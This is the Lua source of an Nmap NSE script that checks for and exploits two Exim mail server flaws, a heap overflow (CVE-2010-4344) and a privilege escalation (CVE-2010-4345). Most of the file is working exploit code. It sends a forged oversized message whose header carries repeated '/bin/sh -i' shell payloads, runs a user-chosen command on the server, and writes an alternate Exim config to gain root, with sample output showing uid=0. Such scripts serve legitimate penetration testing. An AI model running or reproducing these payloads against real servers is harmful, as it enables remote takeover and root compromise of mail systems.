local math = require "math" local shortport = require "shortport" local smtp = require "smtp" local stdnse = require "stdnse" local string = require "string" local table = require "table" description = [[ Checks for and/or exploits a heap overflow within versions of Exim prior to version 4.69 (CVE-2010-4344) and a privilege escalation vulnerability in Exim 4.72 and prior (CVE-2010-4345). The heap overflow vulnerability allows remote attackers to execute arbitrary code with the privileges of the Exim daemon (CVE-2010-4344). If the exploit fails then the Exim smtpd child will be killed (heap corruption). The script also checks for a privilege escalation vulnerability that affects Exim version 4.72 and prior. The vulnerability allows the exim user to gain root privileges by specifying an alternate configuration file using the -C option (CVE-2010-4345). The smtp-vuln-cve2010-4344.exploit script argument will make the script try to exploit the vulnerabilities, by sending more than 50MB of data, it depends on the message size limit configuration option of the Exim server. If the exploit succeed the exploit.cmd or smtp-vuln-cve2010-4344.cmd script arguments can be used to run an arbitrary command on the remote system, under the Exim user privileges. If this script argument is set then it will enable the smtp-vuln-cve2010-4344.exploit argument. To get the appropriate debug messages for this script, please use -d2. Some of the logic of this script is based on the metasploit exim4_string_format exploit. * http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format Reference: * http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344 * http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345 ]] --- -- @usage -- nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 -- nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 -- -- @output -- PORT STATE SERVICE -- 25/tcp open smtp -- | smtp-vuln-cve2010-4344: -- | Exim heap overflow vulnerability (CVE-2010-4344): -- | Exim (CVE-2010-4344): VULNERABLE -- | Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux -- | Exim privileges escalation vulnerability (CVE-2010-4345): -- | Exim (CVE-2010-4345): VULNERABLE -- | Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl) -- |_ After 'id': uid=0(root) gid=128(Debian-exim) groups=0(root) -- -- @args smtp.domain Define the domain to be used in the SMTP EHLO command. -- @args smtp-vuln-cve2010-4344.exploit The script will force the checks, -- and will try to exploit the Exim SMTP server. -- @args smtp-vuln-cve2010-4344.mailfrom Define the source email address to -- be used. -- @args smtp-vuln-cve2010-4344.mailto Define the destination email address -- to be used. -- @args exploit.cmd or smtp-vuln-cve2010-4344.cmd An arbitrary command to -- run under the Exim user privileges on the remote -- system. If this argument is set then, it will enable the -- smtp-vuln-cve2010-4344.exploit argument. author = "Djalal Harouni" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit", "intrusive", "vuln"} portrule = shortport.port_or_service({25, 465, 587}, {"smtp", "smtps", "submission"}) local function smtp_finish(socket, status, msg) if socket then smtp.quit(socket) end return status, msg end local function get_exim_banner(response) local banner, version banner = response:match("%d+%s(.+)") if banner then version = tonumber(banner:match("Exim%s([0-9%.]+)")) end return banner, version end local function send_recv(socket, data) local st, ret = socket:send(data) if st then st, ret = socket:receive_lines(1) end return st, ret end -- Exploit the privileges escalation vulnerability CVE-2010-4345. -- return true, results (shell command results) If it was -- successfully exploited. local function escalate_privs(socket, smtp_opts) local exploited, results = false, "" local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF)) local exim_run = "exim -C"..tmp_file.." -q" local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > ".. tmp_file.."' }}" stdnse.print_debug(2, "%s: trying to escalate privileges", SCRIPT_NAME) local status, ret = send_recv(socket, "id\n") if not status then return status, ret end results = string.format(" Before 'id': %s", string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) status, ret = send_recv(socket, string.format("cat > %s << EOF\n", tmp_file)) if not status then return status, ret end status, ret = send_recv(socket, exim_spool.."\nEOF\n") if not status then return status, ret end status, ret = send_recv(socket, exim_run.."\n") if not status then return status, ret end status, ret = send_recv(socket, string.format("cat %s\n", tmp_file)) if not status then return status, ret elseif ret:match("uid=0%(root%)") then exploited = true results = results..string.format("\n After 'id': %s", string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) stdnse.print_debug(2, "%s: successfully exploited the Exim privileges escalation.", SCRIPT_NAME) end -- delete tmp file, should we care about this ? socket:send(string.format("rm -fr %s\n", tmp_file)) return exploited, results end -- Tries to exploit the heap overflow and the privilege escalation -- Returns true, exploit_status, possible values: -- nil Not vulnerable -- "heap" Vulnerable to the heap overflow -- "heap-exploited" The heap overflow vulnerability was exploited local function exploit_heap(socket, smtp_opts) local exploited, ret = false, "" stdnse.print_debug(2, "%s: exploiting the heap overflow", SCRIPT_NAME) local status, response = smtp.mail(socket, smtp_opts.mailfrom) if not status then return status, response end status, response = smtp.recipient(socket, smtp_opts.mailto) if not status then return status, response end -- send DATA command status, response = smtp.datasend(socket) if not status then return status, response end local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192 local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from" local log_host = string.format("%s(%s)", smtp_opts.ehlo_host ~= smtp_opts.domain and smtp_opts.ehlo_host.." " or "", smtp_opts.domain) log_buf = string.format("%s <%s> H=%s [%s]: message too big: ".. "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n", log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip, msg_len, smtp_opts.size, smtp_opts.mailfrom, smtp_opts.mailto) log_buf_size = log_buf_size - 3 local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader" while #log_buf < log_buf_size do local hdr = string.format("%s: %s\n", nmap_hdr, filler) local one = 2 + #hdr local two = 2 * one local left = log_buf_size - #log_buf if left < two and left > one then left = left - 4 local first = left / 2 hdr = string.sub(hdr, 0, first - 1).."\n" hdrs = hdrs..hdr log_buf = log_buf.." "..hdr local second = left - first hdr = string.format("%s: %s\n", nmap_hdr, filler) hdr = string.sub(hdr, 0, second - 1).."\n" end hdrs = hdrs..hdr log_buf = log_buf.." "..hdr end local hdrx = "HeaderX: " for i = 1, 50 do for fd = 3, 12 do hdrx = hdrx.. string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ", fd) end end local function clean(socket, status, msg) socket:close() return status, msg end stdnse.print_debug(1, "%s: sending forged mail, size: %dMB", SCRIPT_NAME, msg_len / (1024*1024)) -- use low socket level functions. status, ret = socket:send(hdrs) if not status then return clean(socket, status, "failed to send hdrs.") end status, ret = socket:send(hdrx) if not status then return clean(socket, status, "failed to send hdrx.") end status, ret = socket:send("\r\n") if not status then return clean(socket, status, "failed to terminate headers.") end local body_size = 0 filler = string.rep(string.rep("Nmap", 63).."XX\r\n", 1024) while body_size < msg_len do body_size = body_size + #filler status, ret = socket:send(filler) if not status then return clean(socket, status, "failed to send body.") end end status, response = smtp.query(socket, "\r\n.") if not status then if string.match(response, "connection closed") then -- the child was killed (heap corruption). return true, "heap" else return status, "failed to terminate the message." end end status, ret = smtp.check_reply("DATA", response) if not status then local code = tonumber(ret:match("(%d+)")) if code ~= 552 then smtp.quit(socket) return status, ret end end stdnse.print_debug(2, "%s: the forged mail was sent successfully.", SCRIPT_NAME) -- second round status, response = smtp.query(socket, "MAIL", string.format("FROM:<%s>", smtp_opts.mailfrom)) if not status then return status, response end status, ret = smtp.query(socket, "RCPT", string.format("TO:<%s>", smtp_opts.mailto)) if not status then return status, ret end if response:match("sh:%s") or ret:match("sh:%s") then stdnse.print_debug(2, "%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME) exploited = "heap-exploited" end return true, exploited end -- Checks if the Exim server is vulnerable to CVE-2010-4344 local function check_exim(smtp_opts) local out, smtp_server = {}, {} local exim_heap_ver, exim_priv_ver = 4.69, 4.72 local exim_default_size, nmap_scanme_ip = 52428800, '64.13.134.52' local heap_cve, priv_cve = 'CVE-2010-4344', 'CVE-2010-4345' local heap_str = "Exim heap overflow vulnerability ("..heap_cve.."):" local priv_str = "Exim privileges escalation vulnerability ("..priv_cve.."):" local exim_heap_result, exim_priv_result = "", "" local socket, ret = smtp.connect(smtp_opts.host, smtp_opts.port, {ssl = true, timeout = 8000, recv_before = true, lines = 1}) if not socket then return smtp_finish(nil, socket, ret) end table.insert(out, heap_str) table.insert(out, priv_str) smtp_server.banner, smtp_server.version = get_exim_banner(ret) if smtp_server.banner then smtp_server.smtpd = smtp_server.banner:match("Exim") if smtp_server.smtpd and smtp_server.version then table.insert(out, 1, string.format("Exim version: %.02f", smtp_server.version)) if smtp_server.version > exim_heap_ver then exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", heap_cve) else exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE", heap_cve) end if smtp_server.version > exim_priv_ver then exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE", priv_cve) else exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE", priv_cve) end else return smtp_finish(socket, true, 'The SMTP server is not Exim: NOT VULNERABLE') end else return smtp_finish(socket, false, 'failed to read the SMTP banner.') end if not smtp_opts.exploit then table.insert(out, 3, exim_heap_result) table.insert(out, 5, exim_priv_result) table.insert(out, "To confirm and exploit the vulnerabilities, run with".. " --script-args='smtp-vuln-cve2010-4344.exploit'") return smtp_finish(socket, true, out) end -- force the checks and exploit the program local status, response = smtp.ehlo(socket, smtp_opts.domain) if not status then return smtp_finish(nil, status, response) end for _, line in pairs(stdnse.strsplit("\r?\n", response)) do if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then smtp_opts.ehlo_host, smtp_opts.domain_ip = line:match("%d+.*Hello%s(.*)%s%[(.*)%]") end if not smtp_server.size then smtp_server.size = line:match("%d+%-SIZE%s(%d+)") end end if not smtp_server.size then smtp_server.size = exim_default_size else smtp_server.size = tonumber(smtp_server.size) end smtp_opts.size = smtp_server.size -- use 'nmap.scanme.org' IP address if not smtp_opts.domain_ip then smtp_opts.domain_ip = nmap_scanme_ip end -- set the appropriate 'MAIL FROM' and 'RCPT TO' values if not smtp_opts.mailfrom then smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain) end if not smtp_opts.mailto then smtp_opts.mailto = string.format("postmaster@%s", smtp_opts.host.targetname and smtp_opts.host.targetname or 'localhost') end status, ret = exploit_heap(socket, smtp_opts) if not status then return smtp_finish(nil, status, ret) elseif ret then exim_heap_result = string.format(" Exim (%s): VULNERABLE", heap_cve) exim_priv_result = string.format(" Exim (%s): VULNERABLE", priv_cve) if ret:match("exploited") then -- clear socket socket:receive_lines(1) if smtp_opts.shell_cmd then status, response = send_recv(socket, string.format("%s\n", smtp_opts.shell_cmd)) if status then exim_heap_result = exim_heap_result .. string.format("\n Shell command '%s': %s", smtp_opts.shell_cmd, string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1")) end end status, response = escalate_privs(socket, smtp_opts) if status then exim_priv_result = exim_priv_result.."\n"..response end socket:close() end else exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", heap_cve) end table.insert(out, 3, exim_heap_result) table.insert(out, 5, exim_priv_result) return true, out end action = function(host, port) local smtp_opts = { host = host, port = port, domain = stdnse.get_script_args('smtp.domain') or 'nmap.scanme.org', mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'), mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'), exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'), shell_cmd = stdnse.get_script_args('exploit.cmd') or stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'), } if smtp_opts.shell_cmd then smtp_opts.exploit = true end local status, output = check_exim(smtp_opts) if not status then stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, output) return nil end return stdnse.format_output(status, output) end